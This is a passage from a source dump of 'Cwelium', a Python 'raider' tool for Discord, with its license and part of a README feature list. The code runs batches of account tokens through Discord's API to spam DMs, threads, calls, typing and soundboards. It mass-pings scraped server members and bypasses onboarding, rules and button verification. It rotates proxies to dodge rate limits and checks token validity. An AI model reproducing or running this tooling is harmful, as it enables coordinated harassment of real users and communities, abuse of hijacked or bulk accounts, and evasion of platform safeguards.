910 | json=payload
911 | )
912 |
913 | match response.status_code:
914 | case 200:
915 | console.log("Send", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", user_id)
916 | case _:
917 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
918 | break
919 | time.sleep(7)
920 | except Exception as e:
921 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
922 |
923 | def format_tokens(self):
924 | try:
925 | formatted = []
926 |
927 | for token in tokens:
928 | token = token.strip()
929 |
930 | if token:
931 | tokens_split = token.split(":")
932 | if len(tokens_split) >= 3:
933 | formatted_token = tokens_split[2]
934 | formatted.append(formatted_token)
935 | else:
936 | formatted.append(token)
937 |
938 | console.log("Success", C["green"], f"Formatted {len(formatted)} tokens")
939 |
940 | with open("data/tokens.txt", "w") as f:
941 | for token in formatted:
942 | f.write(f"{token}\n")
943 |
944 | Menu().main_menu()
945 | except Exception as e:
946 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
947 |
948 | def bio_changer(self, token, bio):
949 | try:
950 | payload = {
951 | "bio": bio
952 | }
953 |
954 | response = session.patch(
955 | "https://discord.com/api/v9/users/@me/profile",
956 | headers=self.headers(token),
957 | json=payload
958 | )
959 |
960 | match response.status_code:
961 | case 200:
962 | console.log("Changed", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", bio)
963 | case 429:
964 | console.log("Cloudflare", C["magenta"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
965 | case _:
966 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
967 | except Exception as e:
968 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
969 |
970 | def mass_nick(self, token, guild, nick):
971 | try:
972 | payload = {
973 | "nick" : nick
974 | }
975 |
976 | response = session.patch(
977 | f"https://discord.com/api/v9/guilds/{guild}/members/@me",
978 | headers=self.headers(token),
979 | json=payload
980 | )
981 |
982 | match response.status_code:
983 | case 200:
984 | console.log("Success", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
985 | case _:
986 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
987 | except Exception as e:
988 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
989 |
990 | def thread_spammer(self, token, channel_id, name):
991 | try:
992 | payload = {
993 | "name": name,
994 | "type": 11,
995 | "auto_archive_duration": 4320,
996 | "location": "Thread Browser Toolbar",
997 | }
998 |
999 | while True:
1000 | response = session.post(
1001 | f"https://discord.com/api/v9/channels/{channel_id}/threads",
1002 | headers=self.headers(token),
1003 | json=payload
1004 | )
1005 |
1006 | match response.status_code:
1007 | case 201:
1008 | console.log("Created", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", name)
1009 | case 429:
1010 | retry_after = response.json()["retry_after"] + random.uniform(0.1, 0.5)
1011 | if int(retry_after) > 10:
1012 | console.log("Stopped", C["magenta"], token[:25], f"Ratelimit Exceeded - {int(round(retry_after))}s",)
1013 | break
1014 | else:
1015 | console.log("Ratelimit", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"Ratelimit Exceeded - {retry_after:.2f}s",)
1016 | time.sleep(float(retry_after))
1017 | case _:
1018 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
1019 | break
1020 | except Exception as e:
1021 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1022 |
1023 | def typier(self, token, channel_id):
1024 | try:
1025 | while True:
1026 | response = session.post(
1027 | f"https://discord.com/api/v9/channels/{channel_id}/typing",
1028 | headers=self.headers(token)
1029 | )
1030 |
1031 | match response.status_code:
1032 | case 204:
1033 | console.log("Success", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1034 | time.sleep(9)
1035 | case _:
1036 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1037 | break
1038 | except Exception as e:
1039 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1040 |
1041 | def friender(self, token, nickname):
1042 | try:
1043 | payload = {
1044 | "username": nickname,
1045 | "discriminator": None,
1046 | }
1047 |
1048 | response = session.post(
1049 | f"https://discord.com/api/v9/users/@me/relationships",
1050 | headers=self.headers(token),
1051 | json=payload
1052 | )
1053 |
1054 | match response.status_code:
1055 | case 204:
1056 | console.log(f"Success", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1057 | case 400:
1058 | console.log("Captcha", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1059 | case _:
1060 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json())
1061 | except Exception as e:
1062 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1063 |
1064 | def guild_checker(self, guild_id):
1065 | def main_checker(token):
1066 | try:
1067 | while True:
1068 | response = session.get(
1069 | f"https://discord.com/api/v9/guilds/{guild_id}",
1070 | headers=self.headers(token)
1071 | )
1072 |
1073 | match response.status_code:
1074 | case 200:
1075 | console.log("Found", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", guild_id)
1076 | break
1077 | case 429:
1078 | retry_after = response.json()["retry_after"] + random.uniform(0.1, 0.5)
1079 | console.log("Ratelimit", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"Ratelimit Exceeded - {retry_after:.2f}s",)
1080 | time.sleep(float(retry_after))
1081 | case _:
1082 | console.log("Not Found", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", guild_id)
1083 | break
1084 | except Exception as e:
1085 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1086 |
1087 | args = [
1088 | (token, ) for token in tokens
1089 | ]
1090 | Menu().run(main_checker, args)
1091 |
1092 | def token_checker(self):
1093 | valid = []
1094 |
1095 | def main(token):
1096 | try:
1097 | while True:
1098 | response = session.get(
1099 | "https://discordapp.com/api/v9/users/@me/library",
1100 | headers=self.headers(token)
1101 | )
1102 |
1103 | match response.status_code:
1104 | case 200:
1105 | console.log("Valid", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1106 | valid.append(token)
1107 | break
1108 | case 403:
1109 | console.log("Locked", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1110 | break
1111 | case 429:
1112 | retry_after = response.json()["retry_after"] + random.uniform(0.1, 0.5)
1113 | console.log("Ratelimit", C["pink"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"{retry_after}s")
1114 | time.sleep(retry_after)
1115 | case _:
1116 | console.log("Invalid", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
1117 | break
1118 | with open("data/tokens.txt", "w") as f:
1119 | f.write("\n".join(valid))
1120 | except Exception as e:
1121 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1122 |
1123 | with open("data/tokens.txt", "r") as f:
1124 | tokens = list({line.strip().replace('"', '') for line in f if line.strip()})
1125 |
1126 | args = [
1127 | (token, ) for token in tokens
1128 | ]
1129 | Menu().run(main, args)
1130 |
1131 | def accept_rules(self, guild_id):
1132 | try:
1133 | valid = []
1134 |
1135 | for token in tokens:
1136 | value = session.get(
1137 | f"https://discord.com/api/v9/guilds/{guild_id}/member-verification",
1138 | headers=self.headers(token)
1139 | )
1140 |
1141 | match value.status_code:
1142 | case 200:
1143 | valid.append(token)
1144 | payload = value.json()
1145 | break
1146 |
1147 | if not valid:
1148 | console.log("Failed", C["red"], "All tokens are Invalid")
1149 | input()
1150 | Menu().main_menu()
1151 |
1152 | def run_main(token):
1153 | try:
1154 | response = session.put(
1155 | f"https://discord.com/api/v9/guilds/{guild_id}/requests/@me",
1156 | headers=self.headers(token),
1157 | json=payload
1158 | )
1159 |
1160 | match response.status_code:
1161 | case 201:
1162 | console.log("Accepted", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", guild_id)
1163 | case _:
1164 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
1165 | except Exception as e:
1166 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1167 |
1168 | args = [
1169 | (token, ) for token in tokens
1170 | ]
1171 | Menu().run(run_main, args)
1172 | except Exception as e:
1173 | console.log("Failed", C["red"], "Failed to Accept Rules", e)
1174 |
1175 | def onboard_bypass(self, guild_id):
1176 | try:
1177 | onboarding_responses_seen = {}
1178 | onboarding_prompts_seen = {}
1179 | onboarding_responses = []
1180 | in_guild = []
1181 |
1182 | for _token in tokens:
1183 | response = session.get(
1184 | f"https://discord.com/api/v9/guilds/{guild_id}/onboarding",
1185 | headers=self.headers(_token)
1186 | )
1187 |
1188 | match response.status_code:
1189 | case 200:
1190 | in_guild.append(_token)
1191 | break
1192 |
1193 | if not in_guild:
1194 | console.log("Failed", C["red"], "Missing Access")
1195 | input()
1196 | Menu().main_menu()
1197 | else:
1198 | data = response.json()
1199 | now = int(datetime.now().timestamp())
1200 |
1201 | for __ in data["prompts"]:
1202 | onboarding_responses.append(__["options"][-1]["id"])
1203 |
1204 | onboarding_prompts_seen[__["id"]] = now
1205 |
1206 | for prompt in __["options"]:
1207 | if prompt:
1208 | onboarding_responses_seen[prompt["id"]] = now
1209 | else:
1210 | console.log("Failed", C["red"], "No onboarding in This Server",)
1211 | input()
1212 | Menu().main_menu()
1213 |
1214 | def run_task(token):
1215 | try:
1216 | json_data = {
1217 | "onboarding_responses": onboarding_responses,
1218 | "onboarding_prompts_seen": onboarding_prompts_seen,
1219 | "onboarding_responses_seen": onboarding_responses_seen,
1220 | }
1221 |
1222 | response = session.post(
1223 | f"https://discord.com/api/v9/guilds/{guild_id}/onboarding-responses",
1224 | headers=self.headers(token),
1225 | json=json_data
1226 | )
1227 |
1228 | match response.status_code:
1229 | case 200:
1230 | console.log("Accepted", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
1231 | case _:
1232 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
1233 | except Exception as e:
1234 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1235 |
1236 | args = [
1237 | (token, ) for token in tokens
1238 | ]
1239 | Menu().run(run_task, args)
1240 | except Exception as e:
1241 | console.log("Failed", C["red"], "Failed to Pass Onboard", e)
1242 | input()
1243 | Menu().main_menu()
1244 |
1245 | def reactor_main(self, channel_id, message_id):
1246 | try:
1247 | access_token = []
1248 | emojis = []
1249 |
1250 | params = {
1251 | "around": message_id,
1252 | "limit": 50
1253 | }
1254 |
1255 | for token in tokens:
1256 | response = session.get(
1257 | f"https://discord.com/api/v9/channels/{channel_id}/messages",
1258 | headers=self.headers(token),
1259 | params=params
1260 | )
1261 |
1262 | match response.status_code:
1263 | case 200:
1264 | access_token.append(token)
1265 | break
1266 |
1267 | if not access_token:
1268 | console.log("Failed", C["red"], "Missing Permissions")
1269 | input()
1270 | Menu().main_menu()
1271 | else:
1272 | data = response.json()
1273 | for __ in data:
1274 | if __["id"] == message_id:
1275 | reactions = __["reactions"]
1276 | for emois in reactions:
1277 | if emois:
1278 | emoji_id = emois["emoji"]["id"]
1279 | emoji_name = emois["emoji"]["name"]
1280 |
1281 | if emoji_id is None:
1282 | emojis.append(emoji_name)
1283 | else:
1284 | emojis.append(f"{emoji_name}:{emoji_id}")
1285 | else:
1286 | console.log("Failed", C["red"], "No reactions Found in this message",)
1287 | input()
1288 | Menu().main_menu()
1289 |
1290 | for i, emoji in enumerate(emojis, start=1):
1291 | print(f"{C[color]}0{i}:{C['white']} {emoji}")
1292 |
1293 | choice = input(f"\n{console.prompt('Choice')}")
1294 | if choice.startswith('0') and len(choice) == 2:
1295 | choice = str(int(choice))
1296 | selected = emojis[int(choice) - 1]
1297 |
1298 | def add_reaction(token):
1299 | try:
1300 | url = f"https://discord.com/api/v9/channels/{channel_id}/messages/{message_id}/reactions/{selected}/@me"
1301 |
1302 | if emoji_id is None:
1303 | url += "?location=Message&type=0"
1304 | response = session.put(url, headers=self.headers(token))
1305 |
1306 | match response.status_code:
1307 | case 204:
1308 | console.log("Reacted", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", selected)
1309 | case _:
1310 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
1311 | except Exception as e:
1312 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1313 |
1314 | args = [
1315 | (token,) for token in tokens
1316 | ]
1317 | Menu().run(add_reaction, args)
1318 | except Exception as e:
1319 | console.log("Failed", C["red"], "Failed to get emojis", e)
1320 | input()
1321 | Menu().main_menu()
1322 |
1323 | def button_bypass(self, channel_id, message_id, guild_id):
1324 | try:
1325 | access_token = []
1326 | buttons = []
1327 |
1328 | params = {"around": message_id, "limit": 50}
1329 |
1330 | for token in tokens:
1331 | response = session.get(
1332 | f"https://discord.com/api/v9/channels/{channel_id}/messages",
1333 | headers=self.headers(token),
1334 | params=params
1335 | )
1336 |
1337 | match response.status_code:
1338 | case 200:
1339 | access_token.append(token)
1340 | break
1341 |
1342 | if not access_token:
1343 | console.log("Failed", C["red"], "Missing Permissions")
1344 | input()
1345 | Menu().main_menu()
1346 | else:
1347 | message = next((m for m in response.json() if m["id"] == message_id), None)
1348 |
1349 | if not message:
1350 | console.log("Failed", C["red"], "Message not found")
1351 | input()
1352 | Menu().main_menu()
1353 | else:
1354 | for row in message.get("components", []):
1355 | for comp in row.get("components", []):
1356 | if comp.get("type") == 2:
1357 | label = comp.get("label", "No Label")
1358 | custom_id = comp["custom_id"]
1359 | buttons.append({
1360 | "label": label,
1361 | "custom_id": custom_id,
1362 | })
1363 |
1364 | if not buttons:
1365 | console.log("Failed", C["red"], "No buttons found in this message")
1366 | input()
1367 | Menu().main_menu()
1368 |
1369 | for i, btn in enumerate(buttons, start=1):
1370 | print(f"{C[color]}0{i}:{C['white']} {btn['label']}")
1371 |
1372 | choice = input(f"\n{console.prompt('Choice')}")
1373 | if choice.startswith('0') and len(choice) == 2:
1374 | choice = str(int(choice))
1375 |
1376 | btn = buttons[int(choice) - 1]
1377 | custom_id = btn["custom_id"]
1378 |
1379 | def click_button(token):
1380 | try:
1381 | payload = {
1382 | "application_id": message["author"]["id"],
1383 | "channel_id": channel_id,
1384 | "data": {
1385 | "component_type": 2,
1386 | "custom_id": custom_id,
1387 | },
1388 | "guild_id": guild_id,
1389 | "message_flags": 0,
1390 | "message_id": message_id,
1391 | "nonce": self.nonce(),
1392 | "session_id": uuid.uuid4().hex,
1393 | "type": 3,
1394 | }
1395 |
1396 | resp = session.post(
1397 | "https://discord.com/api/v9/interactions",
1398 | headers=self.headers(token),
1399 | json=payload
1400 | )
1401 |
1402 | match resp.status_code:
1403 | case 204:
1404 | console.log("Clicked", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", btn["label"])
1405 | case _:
1406 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", resp.json().get("message"))
1407 | except Exception as e:
1408 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
1409 |
1410 | args = [
1411 | (token,) for token in tokens
1412 | ]
1413 | Menu().run(click_button, args)
1414 | except Exception as e:
1415 | console.log("Failed", C["red"], "Failed to get buttons", e)
1416 | input()
1417 | Menu().main_menu()
1418 |
1419 | class Menu:
1420 | def __init__(self):
1421 | if not color:
1422 | self.background = C["light_blue"]
1423 | else:
1424 | self.background = C[color]
1425 |
1426 | self.raider = Raider()
1427 | self.options = {
1428 | "1": self.joiner,
1429 | "2": self.leaver,
1430 | "3": self.spammer,
1431 | "4": self.checker,
1432 | "5": self.reactor,
1433 | "7": self.formatter,
1434 | "8": self.button,
1435 | "9": self.accept,
1436 | "10": self.guild,
1437 | "11": self.friender,
1438 | "13": self.onliner,
1439 | "14": self.soundbord,
1440 | "15": self.nick_changer,
1441 | "16": self.Thread_Spammer,
1442 | "17": self.typier,
1443 | "19": self.caller,
1444 | "20": self.bio_changer,
1445 | "21": self.voice_joiner,
1446 | "22": self.onboard,
1447 | "23": self.dm_spam,
1448 | "24": self.exits,
1449 | "~": self.credit,
1450 | }
1451 |
1452 | def main_menu(self):
1453 | console.run()
1454 |
1455 | choice = input(f"{' '*6}{self.background}-> {Fore.RESET}")
1456 |
1457 | if choice.startswith('0') and len(choice) == 2:
1458 | choice = str(int(choice))
1459 |
1460 | if choice.lower() in self.options:
1461 | console.render_ascii()
1462 | self.options[choice.lower()]()
1463 | else:
1464 | self.main_menu()
1465 |
1466 | def run(self, func, args):
1467 | threads = []
1468 | console.clear()
1469 | console.render_ascii()
1470 |
1471 | for idx, arg in enumerate(args):
1472 | if proxy and proxies:
1473 | selected_proxy = proxies[idx % len(proxies)]
1474 | session.proxies = {
1475 | "http": f"http://{selected_proxy}",
1476 | "https": f"http://{selected_proxy}"
1477 | }
1478 | else:
1479 | session.proxies = {}
1480 |
1481 | thread = threading.Thread(target=func, args=arg, daemon=True)
1482 | threads.append(thread)
1483 | thread.start()
1484 |
1485 | for thread in threads:
1486 | thread.join()
1487 |
1488 | input(f"\n {self.background}~/> press enter to continue ")
1489 | self.main_menu()
1490 |
1491 | @wrapper
1492 | def dm_spam(self):
1493 | console.title(f"Cwelium - Dm Spammer")
1494 | user_id = input(console.prompt("User ID"))
1495 | if user_id == "":
1496 | self.main_menu()
1497 |
1498 | message = input(console.prompt("Message"))
1499 | if message == "":
1500 | self.main_menu()
1501 |
1502 | console.clear()
1503 | console.render_ascii()
1504 | args = [
1505 | (token, user_id, message) for token in tokens
1506 | ]
1507 | self.run(self.raider.dm_spammer, args)
1508 |
1509 | @wrapper
1510 | def soundbord(self):
1511 | console.title(f"Cwelium - Soundboard Spam")
1512 | Link = input(console.prompt("Channel LINK"))
1513 | if Link == "" or not Link.startswith("https://"):
1514 | self.main_menu()
1515 |
1516 | channel = Link.split("/")[5]
1517 | guild = Link.split("/")[4]
1518 |
1519 | console.clear()
1520 | console.render_ascii()
1521 | for token in tokens:
1522 | threading.Thread(target=self.raider.join_voice_channel, args=(token, guild, channel)).start()
1523 | threading.Thread(target=self.raider.soundbord, args=(token, channel)).start()
1524 |
1525 | @wrapper
1526 | def friender(self):
1527 | console.title(f"Cwelium - Friender")
1528 | nickname = input(console.prompt("Nick"))
1529 | if nickname == "":
1530 | self.main_menu()
1531 |
1532 | args = [
1533 | (token, nickname) for token in tokens
1534 | ]
1535 | self.run(self.raider.friender, args)
1536 |
1537 | @wrapper
1538 | def caller(self):
1539 | console.title(f"Cwelium - Call Spammer")
1540 | user_id = input(console.prompt("User ID"))
1541 | if user_id == "":
1542 | self.main_menu()
1543 |
1544 | console.clear()
1545 | console.render_ascii()
1546 | args = [
1547 | (token, user_id) for token in tokens
1548 | ]
1549 | self.run(self.raider.call_spammer, args)
1550 |
1551 | def onliner(self):
1552 | console.title(f"Cwelium - Onliner")
1553 | args = [
1554 | (token, websocket.WebSocket()) for token in tokens
1555 | ]
1556 | self.run(self.raider.onliner, args)
1557 |
1558 | @wrapper
1559 | def typier(self):
1560 | console.title(f"Cwelium - Typer")
1561 | Link = input(console.prompt(f"Channel LINK"))
1562 | if Link == "" or not Link.startswith("https://"):
1563 | self.main_menu()
1564 |
1565 | channelid = Link.split("/")[5]
1566 | args = [
1567 | (token, channelid) for token in tokens
1568 | ]
1569 | self.run(self.raider.typier, args)
1570 |
1571 | @wrapper
1572 | def nick_changer(self):
1573 | console.title(f"Cwelium - Nickname Changer")
1574 | nick = input(console.prompt("Nick"))
1575 | if nick == "" or len(nick) > 32:
1576 | self.main_menu()
1577 |
1578 | guild = input(console.prompt("Guild ID"))
1579 | if guild == "":
1580 | self.main_menu()
1581 |
1582 | args = [
1583 | (token, guild, nick) for token in tokens
1584 | ]
1585 | self.run(self.raider.mass_nick, args)
1586 |
1587 | @wrapper
1588 | def voice_joiner(self):
1589 | console.title(f"Cwelium - Voice Joiner")
1590 | Link = input(console.prompt("Channel LINK"))
1591 | if Link == "" or not Link.startswith("https://"):
1592 | self.main_menu()
1593 |
1594 | guild = Link.split("/")[4]
1595 | channel = Link.split("/")[5]
1596 | args = [
1597 | (token, guild, channel) for token in tokens
1598 | ]
1599 | self.run(self.raider.join_voice_channel, args)
1600 |
1601 | @wrapper
1602 | def Thread_Spammer(self):
1603 | console.title(f"Cwelium - Thread Spammer")
1604 | Link = input(console.prompt("Channel LINK"))
1605 | if Link == "" or not Link.startswith("https://"):
1606 | self.main_menu()
1607 |
1608 | name = input(console.prompt("Name"))
1609 | if name == "":
1610 | self.main_menu()
1611 |
1612 | channel_id = Link.split("/")[5]
1613 | args = [
1614 | (token, channel_id, name) for token in tokens
1615 | ]
1616 | self.run(self.raider.thread_spammer, args)
1617 |
1618 | @wrapper
1619 | def joiner(self):
1620 | console.title(f"Cwelium - Joiner")
1621 | invite = input(console.prompt(f"Invite"))
1622 | if invite == "":
1623 | self.main_menu()
1624 |
1625 | invite = re.sub(r"(https?://)?(www\.)?(discord\.(gg|com)/(invite/)?|\.gg/)", "", invite)
1626 |
1627 | self.raider.joiner(invite)
1628 |
1629 | @wrapper
1630 | def leaver(self):
1631 | console.title(f"Cwelium - Leaver")
1632 | guild = input(console.prompt("Guild ID"))
1633 | if guild == "":
1634 | self.main_menu()
1635 |
1636 | args = [
1637 | (token, guild) for token in tokens
1638 | ]
1639 | self.run(self.raider.leaver, args)
1640 |
1641 | @wrapper
1642 | def spammer(self):
1643 | console.title(f"Cwelium - Spammer")
1644 | link = input(console.prompt(f"Channel LINK"))
1645 | if link == "" or not link.startswith("https://"):
1646 | self.main_menu()
1647 |
1648 | guild_id = link.split("/")[4]
1649 | channel_id = link.split("/")[5]
1650 |
1651 | massping = input(console.prompt("Massping", True))
1652 | random_str = input(console.prompt("Random String", True))
1653 | message = input(console.prompt("Message"))
1654 |
1655 | if message == "":
1656 | self.main_menu()
1657 |
1658 | delay_input = input(console.prompt("Delay (seconds)"))
1659 | delay = None
1660 | if delay_input != "":
1661 | delay = float(delay_input)
1662 |
1663 | ping_count = None
1664 | if "y" in massping:
1665 | console.log(f"Scraping users", self.background, False, "this may take a while...")
1666 | self.raider.member_scrape(guild_id, channel_id)
1667 | count_str = input(console.prompt("Pings Amount"))
1668 | if count_str == "":
1669 | self.main_menu()
1670 |
1671 | ping_count = int(count_str)
1672 |
1673 | args = [
1674 | (token, channel_id, message, guild_id, "y" in massping, ping_count, "y" in random_str, delay)
1675 | for token in tokens
1676 | ]
1677 |
1678 | self.run(self.raider.spammer, args)
1679 |
1680 | def checker(self):
1681 | console.title(f"Cwelium - Checker")
1682 | self.raider.token_checker()
1683 |
1684 | @wrapper
1685 | def reactor(self):
1686 | console.title(f"Cwelium - Reactor")
1687 | Link = input(console.prompt("Message Link"))
1688 | if Link == "" or not Link.startswith("https://"):
1689 | self.main_menu()
1690 |
1691 | channel_id = Link.split("/")[5]
1692 | message_id = Link.split("/")[6]
1693 | console.clear()
1694 | console.render_ascii()
1695 | self.raider.reactor_main(channel_id, message_id)
1696 |
1697 | def button(self):
1698 | console.title(f"Cwelium - Button Click")
1699 | Link = input(console.prompt("Message Link"))
1700 | if Link == "" or not Link.startswith("https://"):
1701 | self.main_menu()
1702 | return
1703 |
1704 | guild_id = Link.split("/")[4]
1705 | channel_id = Link.split("/")[5]
1706 | message_id = Link.split("/")[6]
1707 |
1708 | console.clear()
1709 | console.render_ascii()
1710 | self.raider.button_bypass(channel_id, message_id, guild_id)
1711 |
1712 | def formatter(self):
1713 | console.title(f"Cwelium - Formatter")
1714 | self.run(self.raider.format_tokens, [()])
1715 |
1716 | @wrapper
1717 | def accept(self):
1718 | console.title(f"Cwelium - Accept Rules")
1719 | guild_id = input(console.prompt("Guild ID"))
1720 | if guild_id == "":
1721 | self.main_menu()
1722 |
1723 | console.clear()
1724 | console.render_ascii()
1725 | self.raider.accept_rules(guild_id)
1726 |
1727 | @wrapper
1728 | def guild(self):
1729 | console.title(f"Cwelium - Guild Checker")
1730 | guild_id = input(console.prompt("Guild ID"))
1731 | if guild_id == "":
1732 | self.main_menu()
1733 |
1734 | console.clear()
1735 | console.render_ascii()
1736 | self.raider.guild_checker(guild_id)
1737 |
1738 | @wrapper
1739 | def bio_changer(self):
1740 | console.title(f"Cwelium - Bio Changer")
1741 | bio = input(console.prompt("Bio"))
1742 | if bio == "":
1743 | self.main_menu()
1744 |
1745 | args = [
1746 | (token, bio) for token in tokens
1747 | ]
1748 | self.run(self.raider.bio_changer, args)
1749 |
1750 | @wrapper
1751 | def onboard(self):
1752 | console.title(f"Cwelium - Onboarding Bypass")
1753 | guild_id = input(console.prompt("Guild ID"))
1754 | if guild_id == "":
1755 | self.main_menu()
1756 |
1757 | console.clear()
1758 | console.render_ascii()
1759 | self.raider.onboard_bypass(guild_id)
1760 |
1761 | @wrapper
1762 | def credit(self):
1763 | credits_lines = [
1764 | "Special Thanks to",
1765 | "Coder: Tips",
1766 | "Scraper: Aniell4",
1767 | "Original Owner of Helium/Cwelium: Ekkore",
1768 | "And last but not least, you! Without you, this project wouldn't be possible.",
1769 | ]
1770 |
1771 | for line in credits_lines:
1772 | centered_line = line.center(os.get_terminal_size().columns)
1773 | print(f"{Fore.RESET}{self.background}{centered_line}{Fore.RESET}")
1774 |
1775 | input("\n ~/> press enter to continue ")
1776 | self.main_menu()
1777 |
1778 | @wrapper
1779 | def exits(self):
1780 | os._exit(0)
1781 |
1782 | if __name__ == "__main__":
1783 | Menu().main_menu()
1784 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Cwelium - An Open Source Project
2 |
3 | Cwelium is licensed under the GNU Affero General Public License (AGPL) v3.0 with the following additional term:
4 |
5 | Additional Terms:
6 | - The repository owner must comply with the original author's (defined as the owner of the GitHub repository 'https://github.com/Tips-Discord/Cwelium') request to delete any repository, including videos, containing modified or unmodified versions of the software within 14 days.
7 |
8 | - Users are only permitted to fork the original repository 'https://github.com/Tips-Discord/Cwelium'. Creating new repositories containing the software, whether modified or unmodified, is prohibited.
9 |
10 | - The software cannot be made closed source. All forks and modifications must retain their open-source status under the AGPL v3.0 license.
11 |
12 | - The credit to the original author in the Python file(s) cannot be removed or altered.
13 |
14 | - The responsibility for using this software lies entirely with the user. The original author is not liable for any misuse or damage caused by the use of this program.
15 |
16 | - The software cannot be sold in any form. Users are prohibited from selling the software, whether modified or unmodified, and any commercial use must comply with the terms of the AGPL v3.0 license.
17 |
18 | GNU AFFERO GENERAL PUBLIC LICENSE
19 | Version 3, 19 November 2007
20 |
21 | Copyright (C) 2007 Free Software Foundation, Inc. Click to expand
9 |
10 | * Fully request-based Raider
11 | * HTTP & HTTPS proxy support
12 | * Multi-threading support
13 | * Joiner
14 | * Leaver
15 | * Spammer
16 | * Token Checker
17 | * Reactor
18 | * Voice Raper
19 | * Token Formatter
20 | * Button Click
21 | * Accept Rules
22 | * Guild Check
23 | * Bio Changer
24 | * Onliner
25 | * Voice Joiner
26 | * Change Nickname
27 | * Thread Spammer
28 | * Typer
29 | * Onboarding Bypass
30 | * Friender
31 | * Call Spammer
32 | * Mass DM
33 |
34 |
45 |
46 |